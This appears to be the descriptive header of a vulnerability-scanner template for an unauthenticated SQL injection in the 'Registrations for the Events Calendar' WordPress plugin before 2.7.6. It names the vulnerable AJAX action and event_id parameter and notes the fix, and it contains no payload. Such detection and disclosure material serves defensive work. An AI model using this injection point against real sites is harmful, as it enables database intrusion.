name: Registrations for the Events Calendar < 2.7.6 - SQL Injection
|
|
author: ritikchaddha
|
|
severity: critical
|
|
description: |
|
|
The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.
|
|
remediation: Fixed in 2.7.6
